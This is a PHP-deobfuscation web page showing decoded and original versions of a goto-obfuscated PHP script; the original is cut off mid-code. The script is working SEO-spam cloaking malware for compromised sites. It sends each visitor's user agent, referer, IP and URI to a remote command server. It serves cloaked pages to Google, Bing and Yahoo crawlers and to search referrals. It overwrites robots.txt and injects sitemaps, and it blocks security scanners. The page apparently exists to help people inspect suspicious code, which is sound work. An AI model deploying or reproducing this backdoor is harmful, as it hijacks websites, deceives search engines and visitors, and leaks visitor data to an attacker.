Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto CWFWm; zailv: exit; goto sTg45; d28fW: fNbdx: goto iAzZd; jDQ9S: $jRyfT = urlencode($..

Decoded Output download

<?  goto CWFWm; zailv: exit; goto sTg45; d28fW: fNbdx: goto iAzZd; jDQ9S: $jRyfT = urlencode($_SERVER["REQUEST_SCHEME"]); goto Z429L; IKgsh: Q228N: goto AbvED; PiQsa: exit; goto a6wIG; XAycS: echo $gZfqH; goto O_XKL; yLV30: $Nims_ = 0; goto sRK58; BboGP: if (strpos($D0Tdb, "robots.txt") !== false || strpos($D0Tdb, "writerobots") !== false) { goto EizGJ; } goto qcj4w; E7z8G: PN8fB: goto XAUrG; CWFWm: error_reporting(0); goto AEX_C; FEeen: $_SERVER["REQUEST_SCHEME"] = "http"; goto yw2c1; MOLKA: echo $gZfqH; goto ZR29o; w1Ia9: aFspo: goto jDQ9S; sRK58: if (!file_exists("uxo.txt")) { goto g_0ca; } goto csZQB; eOInq: HXcUU: goto OEN0l; P2J77: @file_put_contents("robots.txt", $ECHbx); goto w6geh; M0Rvn: $BSFbK = "http://cw171.lowoffice.shop/index.php"; goto Bx1IV; gxABB: function hcvVL($FTpDJ) { goto JUtM2; e1SUL: $mID5u = curl_exec($ykfyM); goto T0RVU; CFndk: $ykfyM = curl_init(); goto sce4T; b9cFh: curl_setopt($ykfyM, CURLOPT_RETURNTRANSFER, true); goto U0eW1; bawb3: if (!(strpos($FTpDJ, "https://") !== false)) { goto u6KPl; } goto EYa6R; EYa6R: curl_setopt($ykfyM, CURLOPT_SSL_VERIFYPEER, FALSE); goto p2Rcx; KAMDJ: y0CM2: goto OPNxp; U0eW1: curl_setopt($ykfyM, CURLOPT_FOLLOWLOCATION, false); goto bawb3; nhOVF: if (!empty($mID5u)) { goto y0CM2; } goto CFndk; sce4T: curl_setopt($ykfyM, CURLOPT_URL, $FTpDJ); goto b9cFh; iHLQA: u6KPl: goto e1SUL; p2Rcx: curl_setopt($ykfyM, CURLOPT_SSL_VERIFYHOST, FALSE); goto iHLQA; T0RVU: curl_close($ykfyM); goto KAMDJ; OPNxp: return $mID5u; goto uyryN; JUtM2: $mID5u = @file_get_contents($FTpDJ); goto nhOVF; uyryN: } goto G61h8; YRkXv: $XXxxg = $BSFbK . "?agent={$KEpt2}&refer={$xSFUa}&lang={$CVDlv}&ip={$QfXms}&dom={$Ig_qR}&http={$jRyfT}&uri={$D0Tdb}&pc={$y4ILo}&rewriteable={$Nims_}&script={$K2ovA}"; goto VzgD6; uLijB: if (empty($gZfqH)) { goto nNVQz; } goto q8OzW; N8Xw1: $DBQtp = $_SERVER["SCRIPT_NAME"]; goto xGlMx; FWxSw: header("Content-Type: text/xml; charset=utf-8"); goto miR0A; hFmIn: $gZfqH = hCVVL($dtQaj); goto Z5Cej; pFkOg: kNPa0: goto yLV30; sIBUD: T6FRS: goto vZZqN; PxlWu: MSTUQ: goto B_S5X; inbk7: SgGza: goto N8Xw1; IfYLp: $gZfqH = HcvvL($XXxxg); goto RSZf4; AplRQ: if (preg_match("/({$AbALp})/i", $_SERVER["HTTP_REFERER"])) { goto D74xZ; } goto xcPw5; WArru: goto MSTUQ; goto Wfl78; JzNAn: $Nims_ = 1; goto MC15E; PMJyk: goto n3Xlo; goto UO6XG; hQApG: if (preg_match("/({$AbALp})/i", $_SERVER["HTTP_USER_AGENT"])) { goto zO82e; } goto AplRQ; Wq2ll: header("Content-Type: text/plain; charset=utf-8"); goto ffhkZ; l0kRm: goto G_xFG; goto ti2Qh; xZXig: KtUBY: goto s4DFr; VxmOe: goto ko3JF; goto sIBUD; jOhHh: if (strpos($D0Tdb, "favicon.ico") !== false) { goto T6FRS; } goto rP39I; JjKAk: $XXxxg = $BSFbK . "?agent={$KEpt2}&refer={$xSFUa}&lang={$CVDlv}&ip={$QfXms}&dom={$Ig_qR}&http={$jRyfT}&uri={$D0Tdb}&pc={$y4ILo}&rewriteable={$Nims_}&script={$K2ovA}"; goto ntsCE; o83Te: jM1aq: goto ry0Au; rP39I: if (strpos($D0Tdb, "jp2023") !== false) { goto gNBSh; } goto BboGP; Ye07M: header("HTTP/1.1 404 Not Found"); goto XAycS; svxP5: echo $gZfqH; goto w0KoF; ZZW62: echo $t_P8j . ": " . $ctnWj . "<br/>"; goto Fpv8B; Eecy1: exit; goto pFkOg; AvFFs: echo $gZfqH; goto SPYMs; ry0Au: $AbALp = "bing|google|yahoo"; goto M0Rvn; l2wui: D74xZ: goto EksdJ; Z429L: $D0Tdb = urldecode($_SERVER["REQUEST_URI"]); goto GAhAk; UO6XG: E6Bjm: goto JzNAn; T0NT6: goto tv_5X; goto FDP4K; j4_ZF: exit; goto IfqFQ; pu_vC: $CVDlv = urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]); goto ezlBN; w6geh: exit; goto wSLbC; G61h8: function vqX9O($FTpDJ) { goto JRnZd; zOv7w: return $mID5u; goto Sqvba; rvzM9: $mID5u = @file_get_contents($FTpDJ); goto IFtfj; mxy7V: zYKHa: goto LLAM0; JRnZd: $ykfyM = curl_init(); goto QgUTN; VqDwp: curl_setopt($ykfyM, CURLOPT_RETURNTRANSFER, true); goto fdAnk; IFtfj: hFDdc: goto zOv7w; hAZWB: curl_setopt($ykfyM, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); goto SHOf2; XmgWP: curl_close($ykfyM); goto o8_87; SHOf2: if (!(strpos($FTpDJ, "https://") !== false)) { goto zYKHa; } goto digWs; QgUTN: curl_setopt($ykfyM, CURLOPT_URL, $FTpDJ); goto VqDwp; digWs: curl_setopt($ykfyM, CURLOPT_SSL_VERIFYPEER, FALSE); goto B0GY3; fdAnk: curl_setopt($ykfyM, CURLOPT_FOLLOWLOCATION, false); goto hAZWB; o8_87: if (!empty($mID5u)) { goto hFDdc; } goto rvzM9; LLAM0: $mID5u = curl_exec($ykfyM); goto XmgWP; B0GY3: curl_setopt($ykfyM, CURLOPT_SSL_VERIFYHOST, FALSE); goto mxy7V; Sqvba: } goto fiSqe; A0tjj: $K2ovA = urlencode($_SERVER["SCRIPT_NAME"]); goto NTSzA; m1qjE: $KEpt2 = urlencode($_SERVER["HTTP_USER_AGENT"]); goto BaW1t; VzgD6: $gZfqH = HCVVL($XXxxg); goto uLijB; a6wIG: f8kRU: goto PxlWu; Y1cjT: aWBgo: goto VxmOe; afM7U: EizGJ: goto iGAtZ; di61M: exit; goto eOInq; GHxUi: $DBQtp = "/"; goto MrX3G; yn5VB: goto f8kRU; goto IKgsh; NTSzA: if (!empty($_SERVER["REQUEST_SCHEME"]) && $_SERVER["REQUEST_SCHEME"] == "https" || !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" || !empty($_SERVER["SERVER_PORT"]) && $_SERVER["SERVER_PORT"] == "443" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https") { goto u64gp; } goto FEeen; FtelZ: goto KtUBY; goto KxtB3; L7VLx: $Ig_qR = urlencode($_SERVER["HTTP_HOST"]); goto A0tjj; XAUrG: if (substr($gZfqH, 0, 5) == "<?xml") { goto vqbmz; } goto zLTR2; yKKFM: $ECHbx = "User-agent: *\xd\xaAllow: /"; goto cc8p5; xO1wO: EZaZa: goto WArru; pd6sU: $DBQtp = "/?"; goto sZTjS; MrX3G: goto sRfAP; goto sLVB2; qZ7_C: if (strpos($D0Tdb, "pingsitemap.xml") !== false) { goto SgGza; } goto jOhHh; L1Dy0: $_SERVER["REQUEST_SCHEME"] = "https"; goto w1Ia9; O_XKL: exit; goto WYn45; KxtB3: OixJd: goto W7Wua; Wfl78: HkHJ6: goto JjKAk; WyMgu: header("Content-Type: text/xml; charset=utf-8"); goto svxP5; AbvED: header("HTTP/1.0 500 Internal Server Error"); goto PiQsa; MBXkU: n3Xlo: goto nswqN; EksdJ: $XXxxg = $BSFbK . "?agent={$KEpt2}&refer={$xSFUa}&lang={$CVDlv}&ip={$QfXms}&dom={$Ig_qR}&http={$jRyfT}&uri={$D0Tdb}&pc={$y4ILo}&rewriteable={$Nims_}"; goto IfYLp; u3BkO: $ctnWj = ''; goto ZZW62; fiSqe: if (!preg_match("/(Bytespider|PetalBot|AhrefsBot|Barkrowler|MJ12bot|FeedDemon|JikeSpider|Indy Library|AskTbFXTV|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|python-requests|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|heritrix|EasouSpider|Ezooms|AmazonBot|SEMrushBot|YandexBot|paloaltonetworks|Python)/i", $_SERVER["HTTP_USER_AGENT"])) { goto jM1aq; } goto YIocD; iGAtZ: $XXxxg = $BSFbK . "?agent={$KEpt2}&refer={$xSFUa}&lang={$CVDlv}&ip={$QfXms}&dom={$Ig_qR}&http={$jRyfT}&uri={$D0Tdb}&pc={$y4ILo}&rewriteable={$Nims_}&script={$K2ovA}"; goto Wq2ll; yw2c1: goto aFspo; goto fyVUI; ntsCE: $gZfqH = hCVVl($XXxxg); goto mHBFn; AEX_C: function Txi3A() { goto NJ8rl; Vg1iM: $QfXms = getenv("HTTP_X_REAL_IP"); goto vAOdV; csV7r: VDxeS: goto l4hX3; vzzNA: G4StZ: goto Vg1iM; IEp1d: $QfXms = getenv("HTTP_X_FORWARDED_FOR"); goto GiOAa; NJ8rl: if (!getenv("HTTP_CLIENT_IP")) { goto quoJI; } goto uHu0A; GdX8m: if (getenv("HTTP_X_FORWARDED_FOR")) { goto cpGlR; } goto TvmJ0; TvmJ0: if (getenv("REMOTE_ADDR")) { goto DXuiY; } goto BUFVD; l4hX3: return $QfXms; goto bMEKM; CJkyh: DXuiY: goto qMF0l; uHu0A: $QfXms = getenv("HTTP_CLIENT_IP"); goto XriPg; vAOdV: goto VDxeS; goto UFBOE; BUFVD: $QfXms = "0.0.0.0"; goto awLqO; UFBOE: cpGlR: goto IEp1d; A0Wzt: $QfXms = $ZZafx[0]; goto fquO5; fquO5: goto VDxeS; goto CJkyh; GiOAa: $ZZafx = explode(",", $QfXms); goto A0Wzt; XriPg: quoJI: goto sOcL5; qMF0l: $QfXms = getenv("REMOTE_ADDR"); goto csV7r; awLqO: goto VDxeS; goto vzzNA; sOcL5: if (getenv("HTTP_X_REAL_IP")) { goto G4StZ; } goto GdX8m; bMEKM: } goto gxABB; Bx1IV: $y4ILo = 2897; goto m1qjE; v5ob4: goto HXcUU; goto d28fW; rOuCJ: $dtQaj = $jRyfT . "://" . $_SERVER["HTTP_HOST"] . "/uuuuxxxxooo"; goto hFmIn; ti2Qh: g_0ca: goto rOuCJ; qcj4w: if (preg_match("@^/(.*?).xml$@i", $D0Tdb)) { goto HkHJ6; } goto hQApG; B_S5X: goto rHeKk; goto afM7U; mLqAD: if (!($ihrMk == "153.246.135.238" || $ihrMk == "219.101.44.233")) { goto kNPa0; } goto Tqii0; RSZf4: if ($gZfqH == "500") { goto fNbdx; } goto z83C_; Y62AR: $QfXms = urlencode($ihrMk); goto L7VLx; iAzZd: header("HTTP/1.0 500 Internal Server Error"); goto di61M; FDP4K: vqbmz: goto FWxSw; Fpv8B: $XXxxg = $BSFbK . "?agent={$KEpt2}&refer={$xSFUa}&lang={$CVDlv}&ip={$QfXms}&dom={$Ig_qR}&http={$jRyfT}&uri={$D0Tdb}&pc={$y4ILo}&rewriteable={$Nims_}&script={$K2ovA}&sitemap=" . urlencode($t_P8j); goto UwGCW; BaW1t: $xSFUa = urlencode($_SERVER["HTTP_REFERER"]); goto pu_vC; SPYMs: exit; goto Y1cjT; z83C_: if (empty($gZfqH)) { goto bnnI0; } goto Ye07M; xGlMx: if (strpos($DBQtp, "index.php") !== false) { goto OixJd; } goto yjY8o; csZQB: $Nims_ = @file_get_contents("uxo.txt"); goto l0kRm; nz1Bg: $Nims_ = 0; goto lRReJ; MC15E: @file_put_contents("uxo.txt", "1"); goto MBXkU; hDhxO: zO82e: goto YRkXv; NZLL4: goto EZaZa; goto hDhxO; Bhj_T: exit; goto o83Te; mHBFn: if ($gZfqH == "500") { goto Q228N; } goto WyMgu; xcPw5: goto PJvlL; goto l2wui; ZR29o: exit; goto PN3Zw; a2nn5: goto aT5tt; goto inbk7; kZW1h: $gZfqH = hCvvL($XXxxg); goto AvFFs; yjY8o: $DBQtp = $DBQtp . "?"; goto FtelZ; ezlBN: $ihrMk = tXi3A(); goto Y62AR; w0KoF: exit; goto yn5VB; ffhkZ: echo $gZfqH = hcVVL($XXxxg); goto Goia3; j51JT: $XXxxg = $BSFbK . "?agent={$KEpt2}&refer={$xSFUa}&lang={$CVDlv}&ip={$QfXms}&dom={$Ig_qR}&http={$jRyfT}&uri={$D0Tdb}&pc={$y4ILo}&rewriteable={$Nims_}&script={$K2ovA}"; goto kZW1h; Mai9j: goto aWBgo; goto H4rRI; Goia3: @file_put_contents("robots.txt", $gZfqH); goto zailv; q8OzW: if (!($gZfqH == "500")) { goto PN8fB; } goto sgZmS; OEN0l: PJvlL: goto NZLL4; IfqFQ: eE06u: goto mLqAD; s4DFr: $haO0D = "https://www.google.com/ping?sitemap="; goto yKKFM; vZZqN: ko3JF: goto a2nn5; W7Wua: if ($Nims_ == 0) { goto spWtt; } goto GHxUi; lRReJ: @file_put_contents("uxo.txt", "0"); goto PMJyk; nswqN: G_xFG: goto qZ7_C; YIocD: header("HTTP/1.0 403 Forbidden"); goto Bhj_T; Z5Cej: if ($gZfqH == "ok") { goto E6Bjm; } goto nz1Bg; dSLek: exit; goto E7z8G; sLVB2: spWtt: goto pd6sU; zLTR2: header("Content-Type: text/html; charset=utf-8"); goto T0NT6; YRHlk: $ECHbx = trim($ECHbx) . "\xd\xa" . "Sitemap: {$t_P8j}"; goto u3BkO; fyVUI: u64gp: goto L1Dy0; Tqii0: header("HTTP/1.0 403 Forbidden"); goto Eecy1; sTg45: rHeKk: goto Mai9j; miR0A: tv_5X: goto MOLKA; DbJS7: echo "ok"; goto j4_ZF; WYn45: bnnI0: goto v5ob4; GAhAk: if (!(strpos($D0Tdb, "uuuuxxxxooo") !== false)) { goto eE06u; } goto DbJS7; sZTjS: sRfAP: goto xZXig; cc8p5: $t_P8j = "{$jRyfT}://" . $Ig_qR . $DBQtp . "sitemap.xml"; goto YRHlk; H4rRI: gNBSh: goto j51JT; UwGCW: $gZfqH = HcVvl($XXxxg); goto P2J77; sgZmS: header("HTTP/1.0 500 Internal Server Error"); goto dSLek; PN3Zw: nNVQz: goto xO1wO; wSLbC: aT5tt: ?>

Did this file decode correctly?

Original Code

goto CWFWm; zailv: exit; goto sTg45; d28fW: fNbdx: goto iAzZd; jDQ9S: $jRyfT = urlencode($_SERVER["\x52\x45\121\125\105\123\124\x5f\123\103\x48\x45\115\x45"]); goto Z429L; IKgsh: Q228N: goto AbvED; PiQsa: exit; goto a6wIG; XAycS: echo $gZfqH; goto O_XKL; yLV30: $Nims_ = 0; goto sRK58; BboGP: if (strpos($D0Tdb, "\162\157\x62\157\x74\163\x2e\164\170\164") !== false || strpos($D0Tdb, "\167\162\x69\x74\145\x72\157\142\157\164\x73") !== false) { goto EizGJ; } goto qcj4w; E7z8G: PN8fB: goto XAUrG; CWFWm: error_reporting(0); goto AEX_C; FEeen: $_SERVER["\122\x45\121\x55\105\123\x54\137\123\103\110\x45\x4d\x45"] = "\150\x74\x74\x70"; goto yw2c1; MOLKA: echo $gZfqH; goto ZR29o; w1Ia9: aFspo: goto jDQ9S; sRK58: if (!file_exists("\x75\x78\157\56\x74\170\164")) { goto g_0ca; } goto csZQB; eOInq: HXcUU: goto OEN0l; P2J77: @file_put_contents("\x72\157\142\157\164\x73\x2e\164\x78\164", $ECHbx); goto w6geh; M0Rvn: $BSFbK = "\x68\164\164\160\72\x2f\57\143\167\61\67\x31\x2e\x6c\x6f\x77\157\x66\x66\x69\143\145\56\163\150\157\160\x2f\151\x6e\x64\145\170\56\160\150\x70"; goto Bx1IV; gxABB: function hcvVL($FTpDJ) { goto JUtM2; e1SUL: $mID5u = curl_exec($ykfyM); goto T0RVU; CFndk: $ykfyM = curl_init(); goto sce4T; b9cFh: curl_setopt($ykfyM, CURLOPT_RETURNTRANSFER, true); goto U0eW1; bawb3: if (!(strpos($FTpDJ, "\150\164\x74\160\163\72\x2f\x2f") !== false)) { goto u6KPl; } goto EYa6R; EYa6R: curl_setopt($ykfyM, CURLOPT_SSL_VERIFYPEER, FALSE); goto p2Rcx; KAMDJ: y0CM2: goto OPNxp; U0eW1: curl_setopt($ykfyM, CURLOPT_FOLLOWLOCATION, false); goto bawb3; nhOVF: if (!empty($mID5u)) { goto y0CM2; } goto CFndk; sce4T: curl_setopt($ykfyM, CURLOPT_URL, $FTpDJ); goto b9cFh; iHLQA: u6KPl: goto e1SUL; p2Rcx: curl_setopt($ykfyM, CURLOPT_SSL_VERIFYHOST, FALSE); goto iHLQA; T0RVU: curl_close($ykfyM); goto KAMDJ; OPNxp: return $mID5u; goto uyryN; JUtM2: $mID5u = @file_get_contents($FTpDJ); goto nhOVF; uyryN: } goto G61h8; YRkXv: $XXxxg = $BSFbK . "\x3f\x61\x67\x65\x6e\x74\75{$KEpt2}\x26\x72\x65\146\x65\x72\75{$xSFUa}\46\154\x61\156\x67\x3d{$CVDlv}\x26\151\160\75{$QfXms}\x26\x64\157\155\75{$Ig_qR}\46\150\164\x74\x70\75{$jRyfT}\46\165\x72\151\75{$D0Tdb}\46\160\143\75{$y4ILo}\x26\x72\x65\x77\162\151\164\145\141\x62\x6c\x65\x3d{$Nims_}\46\163\x63\162\151\160\164\x3d{$K2ovA}"; goto VzgD6; uLijB: if (empty($gZfqH)) { goto nNVQz; } goto q8OzW; N8Xw1: $DBQtp = $_SERVER["\123\x43\x52\x49\x50\x54\x5f\x4e\101\x4d\x45"]; goto xGlMx; FWxSw: header("\103\157\156\164\x65\x6e\164\x2d\124\171\160\145\72\x20\164\145\x78\x74\x2f\x78\x6d\154\x3b\40\143\x68\141\162\x73\x65\x74\x3d\165\164\x66\x2d\70"); goto miR0A; hFmIn: $gZfqH = hCVVL($dtQaj); goto Z5Cej; pFkOg: kNPa0: goto yLV30; sIBUD: T6FRS: goto vZZqN; PxlWu: MSTUQ: goto B_S5X; inbk7: SgGza: goto N8Xw1; IfYLp: $gZfqH = HcvvL($XXxxg); goto RSZf4; AplRQ: if (preg_match("\x2f\x28{$AbALp}\x29\57\151", $_SERVER["\110\124\124\x50\x5f\122\x45\106\105\x52\105\x52"])) { goto D74xZ; } goto xcPw5; WArru: goto MSTUQ; goto Wfl78; JzNAn: $Nims_ = 1; goto MC15E; PMJyk: goto n3Xlo; goto UO6XG; hQApG: if (preg_match("\57\50{$AbALp}\x29\57\x69", $_SERVER["\x48\124\x54\120\x5f\125\123\105\122\x5f\x41\x47\x45\116\x54"])) { goto zO82e; } goto AplRQ; Wq2ll: header("\x43\157\156\x74\145\156\x74\x2d\x54\x79\x70\145\x3a\x20\x74\145\170\x74\57\160\x6c\141\151\x6e\73\x20\143\150\x61\162\x73\145\164\75\165\x74\146\55\x38"); goto ffhkZ; l0kRm: goto G_xFG; goto ti2Qh; xZXig: KtUBY: goto s4DFr; VxmOe: goto ko3JF; goto sIBUD; jOhHh: if (strpos($D0Tdb, "\146\x61\x76\x69\143\x6f\156\x2e\151\143\x6f") !== false) { goto T6FRS; } goto rP39I; JjKAk: $XXxxg = $BSFbK . "\77\141\x67\145\156\164\75{$KEpt2}\x26\x72\145\146\145\162\75{$xSFUa}\x26\154\x61\x6e\x67\x3d{$CVDlv}\46\151\160\x3d{$QfXms}\46\x64\x6f\x6d\75{$Ig_qR}\46\x68\x74\x74\160\75{$jRyfT}\46\165\162\151\75{$D0Tdb}\x26\x70\x63\75{$y4ILo}\x26\x72\x65\167\162\x69\x74\145\x61\x62\154\x65\x3d{$Nims_}\x26\x73\x63\x72\151\x70\164\x3d{$K2ovA}"; goto ntsCE; o83Te: jM1aq: goto ry0Au; rP39I: if (strpos($D0Tdb, "\x6a\x70\x32\60\62\63") !== false) { goto gNBSh; } goto BboGP; Ye07M: header("\110\124\124\x50\x2f\x31\x2e\x31\40\64\60\x34\x20\116\157\x74\x20\x46\x6f\165\x6e\x64"); goto XAycS; svxP5: echo $gZfqH; goto w0KoF; ZZW62: echo $t_P8j . "\x3a\x20" . $ctnWj . "\x3c\x62\162\57\76"; goto Fpv8B; Eecy1: exit; goto pFkOg; AvFFs: echo $gZfqH; goto SPYMs; ry0Au: $AbALp = "\142\151\x6e\x67\x7c\147\x6f\x6f\147\x6c\x65\x7c\171\141\150\x6f\x6f"; goto M0Rvn; l2wui: D74xZ: goto EksdJ; Z429L: $D0Tdb = urldecode($_SERVER["\122\x45\121\x55\x45\123\124\137\x55\x52\111"]); goto GAhAk; UO6XG: E6Bjm: goto JzNAn; T0NT6: goto tv_5X; goto FDP4K; j4_ZF: exit; goto IfqFQ; pu_vC: $CVDlv = urlencode($_SERVER["\x48\124\124\120\137\101\103\103\105\120\124\137\114\x41\116\107\125\101\107\x45"]); goto ezlBN; w6geh: exit; goto wSLbC; G61h8: function vqX9O($FTpDJ) { goto JRnZd; zOv7w: return $mID5u; goto Sqvba; rvzM9: $mID5u = @file_get_contents($FTpDJ); goto IFtfj; mxy7V: zYKHa: goto LLAM0; JRnZd: $ykfyM = curl_init(); goto QgUTN; VqDwp: curl_setopt($ykfyM, CURLOPT_RETURNTRANSFER, true); goto fdAnk; IFtfj: hFDdc: goto zOv7w; hAZWB: curl_setopt($ykfyM, CURLOPT_USERAGENT, $_SERVER["\110\124\x54\x50\137\125\123\105\x52\x5f\101\x47\105\x4e\x54"]); goto SHOf2; XmgWP: curl_close($ykfyM); goto o8_87; SHOf2: if (!(strpos($FTpDJ, "\x68\x74\164\x70\x73\x3a\x2f\x2f") !== false)) { goto zYKHa; } goto digWs; QgUTN: curl_setopt($ykfyM, CURLOPT_URL, $FTpDJ); goto VqDwp; digWs: curl_setopt($ykfyM, CURLOPT_SSL_VERIFYPEER, FALSE); goto B0GY3; fdAnk: curl_setopt($ykfyM, CURLOPT_FOLLOWLOCATION, false); goto hAZWB; o8_87: if (!empty($mID5u)) { goto hFDdc; } goto rvzM9; LLAM0: $mID5u = curl_exec($ykfyM); goto XmgWP; B0GY3: curl_setopt($ykfyM, CURLOPT_SSL_VERIFYHOST, FALSE); goto mxy7V; Sqvba: } goto fiSqe; A0tjj: $K2ovA = urlencode($_SERVER["\x53\103\122\111\x50\x54\137\116\x41\115\x45"]); goto NTSzA; m1qjE: $KEpt2 = urlencode($_SERVER["\x48\124\x54\120\x5f\125\123\105\122\x5f\x41\x47\x45\116\124"]); goto BaW1t; VzgD6: $gZfqH = HCVVL($XXxxg); goto uLijB; a6wIG: f8kRU: goto PxlWu; Y1cjT: aWBgo: goto VxmOe; afM7U: EizGJ: goto iGAtZ; di61M: exit; goto eOInq; GHxUi: $DBQtp = "\x2f"; goto MrX3G; yn5VB: goto f8kRU; goto IKgsh; NTSzA: if (!empty($_SERVER["\122\105\x51\125\x45\123\124\x5f\123\x43\110\x45\115\105"]) && $_SERVER["\x52\x45\x51\x55\x45\x53\x54\137\123\x43\110\105\x4d\105"] == "\x68\x74\164\x70\163" || !empty($_SERVER["\x48\x54\x54\x50\x53"]) && $_SERVER["\x48\x54\124\120\123"] == "\157\x6e" || !empty($_SERVER["\123\x45\122\x56\105\x52\137\120\x4f\122\x54"]) && $_SERVER["\x53\x45\122\x56\x45\x52\x5f\120\x4f\x52\x54"] == "\64\x34\x33" || isset($_SERVER["\110\x54\124\120\137\130\137\x46\x4f\122\x57\101\122\x44\x45\x44\137\120\x52\x4f\x54\x4f"]) && $_SERVER["\x48\124\x54\x50\x5f\x58\x5f\106\x4f\122\127\x41\122\104\105\104\x5f\120\122\x4f\124\x4f"] == "\x68\x74\164\x70\163") { goto u64gp; } goto FEeen; FtelZ: goto KtUBY; goto KxtB3; L7VLx: $Ig_qR = urlencode($_SERVER["\x48\124\124\120\x5f\x48\x4f\x53\124"]); goto A0tjj; XAUrG: if (substr($gZfqH, 0, 5) == "\74\77\170\155\x6c") { goto vqbmz; } goto zLTR2; yKKFM: $ECHbx = "\x55\163\145\162\55\x61\x67\145\156\164\72\40\52\xd\xa\x41\154\154\157\x77\72\x20\57"; goto cc8p5; xO1wO: EZaZa: goto WArru; pd6sU: $DBQtp = "\x2f\x3f"; goto sZTjS; MrX3G: goto sRfAP; goto sLVB2; qZ7_C: if (strpos($D0Tdb, "\x70\151\156\147\x73\x69\x74\145\x6d\141\160\x2e\170\x6d\x6c") !== false) { goto SgGza; } goto jOhHh; L1Dy0: $_SERVER["\x52\x45\121\x55\x45\123\124\137\x53\x43\110\x45\x4d\x45"] = "\x68\164\164\160\x73"; goto w1Ia9; O_XKL: exit; goto WYn45; KxtB3: OixJd: goto W7Wua; Wfl78: HkHJ6: goto JjKAk; WyMgu: header("\x43\157\x6e\164\145\156\x74\x2d\124\171\x70\x65\x3a\40\x74\x65\170\x74\57\x78\x6d\154\x3b\40\x63\x68\x61\x72\x73\145\x74\75\165\164\146\x2d\70"); goto svxP5; AbvED: header("\110\124\124\120\57\x31\56\x30\x20\65\60\x30\40\111\x6e\x74\x65\162\x6e\x61\x6c\40\123\145\162\x76\145\x72\40\x45\x72\162\x6f\x72"); goto PiQsa; MBXkU: n3Xlo: goto nswqN; EksdJ: $XXxxg = $BSFbK . "\x3f\x61\147\x65\x6e\x74\75{$KEpt2}\x26\x72\145\146\x65\162\75{$xSFUa}\46\154\141\156\x67\75{$CVDlv}\46\151\160\75{$QfXms}\46\x64\x6f\x6d\x3d{$Ig_qR}\46\x68\x74\164\x70\x3d{$jRyfT}\x26\x75\162\151\75{$D0Tdb}\x26\x70\x63\75{$y4ILo}\x26\x72\x65\167\x72\x69\164\145\x61\142\154\145\x3d{$Nims_}"; goto IfYLp; u3BkO: $ctnWj = ''; goto ZZW62; fiSqe: if (!preg_match("\x2f\x28\102\171\x74\x65\x73\x70\151\144\145\162\x7c\x50\x65\x74\x61\154\102\157\164\x7c\x41\150\x72\x65\x66\163\102\x6f\164\174\102\141\x72\153\x72\x6f\x77\x6c\145\x72\174\x4d\112\x31\x32\142\157\164\x7c\106\x65\145\x64\x44\145\x6d\x6f\x6e\x7c\x4a\x69\153\x65\x53\x70\x69\x64\x65\x72\x7c\111\x6e\x64\171\40\114\151\x62\x72\141\x72\x79\174\x41\x73\x6b\x54\142\106\130\x54\x56\174\x43\x72\x61\x77\154\104\141\144\x64\171\x7c\103\x6f\157\154\160\x61\144\127\x65\142\x6b\x69\x74\x7c\x4a\x61\166\x61\174\106\145\x65\144\x6c\x79\174\125\156\151\166\x65\x72\163\x61\x6c\106\145\x65\x64\x50\141\x72\x73\x65\x72\x7c\101\160\x61\143\x68\145\x42\145\156\143\x68\174\123\x77\x69\146\164\142\157\x74\174\x5a\155\x45\x75\x7c\x6f\x42\x6f\164\x7c\152\141\165\x6e\x74\x79\x7c\120\x79\164\x68\157\x6e\x2d\165\x72\154\154\151\142\174\x70\x79\164\150\x6f\x6e\55\x72\x65\x71\165\x65\x73\164\x73\174\154\x69\147\x68\164\104\145\143\153\x52\x65\160\157\162\164\x73\x20\x42\x6f\x74\174\x59\x59\123\160\x69\x64\145\162\x7c\104\151\147\105\170\x74\174\131\x69\163\x6f\165\123\160\x69\144\x65\x72\174\110\x74\x74\x70\103\154\x69\145\x6e\164\x7c\x68\x65\162\x69\x74\162\x69\x78\174\105\141\163\x6f\x75\x53\x70\x69\144\x65\162\174\x45\172\x6f\x6f\155\x73\174\101\x6d\x61\172\x6f\156\x42\x6f\x74\x7c\123\105\x4d\x72\165\163\150\x42\x6f\164\x7c\x59\141\x6e\x64\x65\170\102\x6f\x74\174\160\x61\x6c\157\x61\x6c\x74\x6f\x6e\x65\x74\x77\157\162\153\163\x7c\120\x79\x74\150\157\156\x29\57\151", $_SERVER["\110\x54\124\x50\137\x55\123\x45\x52\x5f\x41\107\105\x4e\x54"])) { goto jM1aq; } goto YIocD; iGAtZ: $XXxxg = $BSFbK . "\77\x61\x67\145\x6e\x74\x3d{$KEpt2}\46\162\145\x66\145\162\75{$xSFUa}\x26\154\141\156\147\75{$CVDlv}\x26\151\160\x3d{$QfXms}\x26\144\x6f\x6d\75{$Ig_qR}\46\x68\x74\164\160\x3d{$jRyfT}\46\x75\162\151\75{$D0Tdb}\x26\160\x63\x3d{$y4ILo}\46\162\x65\167\x72\x69\164\145\x61\142\154\x65\75{$Nims_}\46\x73\x63\x72\x69\160\164\x3d{$K2ovA}"; goto Wq2ll; yw2c1: goto aFspo; goto fyVUI; ntsCE: $gZfqH = hCVVl($XXxxg); goto mHBFn; AEX_C: function Txi3A() { goto NJ8rl; Vg1iM: $QfXms = getenv("\x48\x54\124\x50\x5f\x58\137\122\105\x41\114\137\x49\x50"); goto vAOdV; csV7r: VDxeS: goto l4hX3; vzzNA: G4StZ: goto Vg1iM; IEp1d: $QfXms = getenv("\x48\124\x54\120\137\130\137\x46\117\x52\x57\101\x52\x44\105\104\137\106\117\x52"); goto GiOAa; NJ8rl: if (!getenv("\110\124\x54\120\x5f\103\x4c\111\x45\x4e\x54\137\111\120")) { goto quoJI; } goto uHu0A; GdX8m: if (getenv("\110\x54\124\120\137\x58\x5f\106\x4f\122\x57\101\122\x44\105\104\137\106\117\122")) { goto cpGlR; } goto TvmJ0; TvmJ0: if (getenv("\x52\x45\115\117\x54\105\137\101\x44\x44\122")) { goto DXuiY; } goto BUFVD; l4hX3: return $QfXms; goto bMEKM; CJkyh: DXuiY: goto qMF0l; uHu0A: $QfXms = 